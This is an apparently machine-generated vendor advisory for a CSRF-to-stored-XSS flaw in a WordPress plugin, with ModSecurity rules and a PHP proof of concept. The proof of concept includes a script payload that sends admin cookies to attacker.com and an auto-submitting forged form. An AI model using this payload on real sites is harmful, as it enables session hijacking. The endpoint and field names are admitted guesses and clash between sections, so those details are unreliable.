Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-4090: Inquiry cart <= 3.4.2 – Cross-Site Request Forgery via Settings Form (inquiry-cart)

CVE ID CVE-2026-4090
Plugin inquiry-cart
Severity Medium (CVSS 6.1)
CWE 352
Vulnerable Version 3.4.2
Patched Version
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4090 (metadata-based):

This is a Cross-Site Request Forgery (CSRF) vulnerability in the Inquiry Cart plugin for WordPress, affecting all versions up to and including 3.4.2. The vulnerability exists in the rd_ic_settings_page function, which handles settings form submissions without proper nonce verification. An unauthenticated attacker can trick a logged-in administrator into performing an unwanted action, leading to modification of plugin settings and potential stored cross-site scripting (XSS) in the admin area. The CVSS score is 6.1 (Medium), with the vector indicating network-based, low-complexity, unauthenticated privilege required, user interaction required, and a scope change.

The root cause is the absence of nonce validation in the rd_ic_settings_page function. In WordPress, settings forms should include a nonce field (created by wp_nonce_field) and the processing function should verify it with check_admin_referer or wp_verify_nonce. Based on the CWE classification (352) and the description, Atomic Edge analysis infers that the function processes $_POST data directly without calling check_admin_referer(‘plugin-settings-action’) or similar. This is a confirmed CSRF pattern; no code diff is available but the description explicitly states “missing nonce verification.”

Exploitation requires an attacker to craft a malicious HTML page or link that submits a forged POST request to the WordPress admin area. The target endpoint is likely /wp-admin/options-general.php?page=rd_ic_settings or similar admin page for the Inquiry Cart plugin. The attacker can set plugin options such as enabling/disabling features, but more critically, can inject malicious JavaScript into fields that are later displayed in the admin interface (stored XSS). The CSRF bypass allows the attacker to bypass the intended administrator authorization check because the request appears to come from an authenticated session. The attack vector requires social engineering: the attacker must convince an administrator to click a link or visit a page while logged into WordPress.

Remediation requires the plugin developer to add nonce verification to the rd_ic_settings_page function. The fix should use check_admin_referer(‘rd_ic_settings’) or wp_verify_nonce($_POST[‘_wpnonce’], ‘rd_ic_settings’) before processing any $_POST data. Additionally, output should be escaped with esc_html or wp_kses to prevent stored XSS. Since no patched version is available, sites using this plugin should consider disabling it or implementing a virtual patch via a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without a valid nonce.

The impact includes unauthorized modification of plugin settings, which may break site functionality or introduce security weaknesses. More critically, the ability to inject malicious scripts (stored XSS) into the admin area allows an attacker to execute arbitrary JavaScript in the context of any administrator who visits the settings page. This can lead to session hijacking, credential theft, or further privilege escalation by creating new administrator users or installing malicious plugins. The stored XSS is persistent, meaning every subsequent admin user who accesses the settings page will be affected.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /wp-admin/options-general.php" "id:20264090,phase:2,deny,status:403,chain,msg:'CVE-2026-4090 - Inquiry Cart CSRF - Missing nonce in settings form',severity:'CRITICAL',tag:'CVE-2026-4090'"
SecRule ARGS:page "@streq inquiry-cart-settings" "chain"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:_wpnonce "@eq 0" "t:none,deny,status:403,msg:'CVE-2026-4090 - Inquiry Cart CSRF - Missing nonce in settings form',severity:'CRITICAL',tag:'CVE-2026-4090'"
SecRule REQUEST_URI "@contains /wp-admin/options-general.php" "id:20264091,phase:2,deny,status:403,chain,msg:'CVE-2026-4090 - Inquiry Cart CSRF - No nonce provided',severity:'CRITICAL',tag:'CVE-2026-4090'"
SecRule ARGS:page "@streq inquiry-cart-settings" "chain"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule &ARGS_POST:_wpnonce "@eq 0" "t:none,deny,status:403,msg:'CVE-2026-4090 - Inquiry Cart CSRF - No nonce provided',severity:'CRITICAL',tag:'CVE-2026-4090'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4090 - Inquiry cart <= 3.4.2 - Cross-Site Request Forgery via Settings Form

// This proof-of-concept demonstrates how an attacker can forge a request to update
// plugin settings and inject a stored XSS payload in the admin area.
// Assumptions:
// - The vulnerable endpoint is /wp-admin/options-general.php?page=inquiry-cart-settings
//   (derived from plugin slug 'inquiry-cart' and typical WordPress settings page pattern).
// - The form processes POST parameters like 'rd_ic_custom_css' or similar settings fields.
// - No nonce check is performed before updating options.

$target_url = 'http://example.com/wp-admin/options-general.php?page=inquiry-cart-settings';

// Stored XSS payload: injects a script that steals admin cookies or creates admin user
$payload = '<script>new Image().src="http://attacker.com/steal?c="+document.cookie;</script>';

$post_data = array(
    'rd_ic_custom_css' => $payload,  // This field is displayed in admin without escaping
    'rd_ic_other_setting' => '1',
    'option_page' => 'inquiry-cart-settings',
    'action' => 'update',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_hash=valid_admin_session;'); // Requires admin session
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// The attacker would typically host an HTML page that auto-submits this form
// via JavaScript or a simple <form> with action pointing to the target.
// The following demonstrates the direct HTTP request (requires admin cookie).
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . PHP_EOL;
} else {
    echo 'Request sent. Check if settings were updated.' . PHP_EOL;
}
curl_close($ch);

// Alternative: CSRF form that an admin would be tricked into submitting
// (This is more realistic because the attacker does not have the admin cookie)
echo '--- CSRF Form (host this on attacker site) ---' . PHP_EOL;
echo '<html><body>' . PHP_EOL;
echo '<form action="' . $target_url . '" method="POST">' . PHP_EOL;
echo '<input type="hidden" name="rd_ic_custom_css" value="' . htmlspecialchars($payload, ENT_QUOTES) . '">' . PHP_EOL;
echo '<input type="hidden" name="option_page" value="inquiry-cart-settings">' . PHP_EOL;
echo '<input type="hidden" name="action" value="update">' . PHP_EOL;
echo '<input type="submit" value="Click me">' . PHP_EOL;
echo '</form>' . PHP_EOL;
echo '<script>document.forms[0].submit();</script>' . PHP_EOL;
echo '</body></html>' . PHP_EOL;

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School